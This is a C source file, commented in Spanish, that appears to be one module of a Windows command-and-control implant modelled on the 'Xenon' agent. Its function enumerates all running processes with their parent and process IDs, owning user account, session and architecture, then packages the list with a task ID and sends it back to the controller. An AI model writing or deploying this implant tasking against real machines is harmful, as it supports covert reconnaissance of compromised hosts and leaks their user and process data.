#undef UNICODE
#include "procesos.h"
#include "paquete.h"
#include "analizador.h"
#include "identity.h"
#include "spawn.h"

/* forward decls to avoid implicit warnings */
BOOL SelfIsWindowsVistaOrLater();
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
#include <tlhelp32.h>
#include <psapi.h>

// Nota: Removidas estructuras de PEB ya que no obtenemos command_line (como Xenon)

BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
    HANDLE hToken;
    BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
    
    if (!result) {
        return FALSE;
    }

    result = IdentityGetUserInfo(hToken, nombreCuenta, tamano);
    
    if (!result) {
        return FALSE;
    }

    CloseHandle(hToken);
    return result;
}

// Nota: Como Xenon, no obtenemos command_line para mantener simplicidad y compatibilidad

VOID listarProcesos(PAnalizador argumentos) {

    SIZE_T tamanoUuid = 36;
    UINT32 nbArg = getInt32(argumentos);

    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);

    char nombreCuenta[2048] = { 0 };
    PPaquete salida = nuevoPaquete(0, FALSE);  // Paquete temporal

    char* arch;
    arch = IsWow64ProcessEx(GetCurrentProcess()) ? "x86" : "x64";

    HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (toolhelp == INVALID_HANDLE_VALUE) {
        goto cleanup;
    }

    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
    if (Process32First(toolhelp, &pe)) {
        do {
            // Como Xenon: intentar abrir proceso para obtener info adicional
            HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
            DWORD sid = -1;
            
            // Inicializar valores por defecto
            nombreCuenta[0] = '\0';
            BOOL isWow64 = FALSE;
            
            if (hProcess) {
                // Obtener información del usuario
                if (!obtenerNombreDelToken(hProcess, nombreCuenta, sizeof(nombreCuenta))) {
                    nombreCuenta[0] = '\0';
                }

                // Obtener Session ID
                if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
                    sid = -1;
                }

                // Obtener arquitectura
                isWow64 = IsWow64ProcessEx(hProcess);
                
                CloseHandle(hProcess);
            } else {
                // Si no podemos abrir el proceso, intentar obtener al menos el Session ID
                ProcessIdToSessionId(pe.th32ProcessID, &sid);
            }
            
            // Formato exacto como Xenon: nombre\tPPID\tPID\tarch\tuser\tsession\n
            PackageAddFormatPrintf(salida,
                FALSE,
                "%s\t%d\t%d\t%s\t%s\t%d\n",
                pe.szExeFile,
                pe.th32ParentProcessID,
                pe.th32ProcessID,
                hProcess ? (isWow64 ? "x86" : arch) : arch, // Usar arch por defecto si no podemos abrir
                nombreCuenta[0] != '\0' ? nombreCuenta : "",
                sid != -1 ? sid : 0);
        
        } while (Process32Next(toolhelp, &pe));
    }
    else {
        DWORD error = GetLastError();

        PPaquete errorPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(errorPaquete, tareaUuid, FALSE);
        addInt32(errorPaquete, error);
        mandarPaquete(errorPaquete);
        liberarPaquete(errorPaquete);
        goto cleanup;
    }

    PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuestaTarea, tareaUuid, FALSE);
    addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);

    Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
    if (!respuestaAnalizador) {
        _err("[-] Error al mandar paquete\n");
    }

    liberarPaquete(respuestaTarea);

cleanup:
    if (toolhelp) {
        CloseHandle(toolhelp);
    }
    liberarPaquete(salida);

}
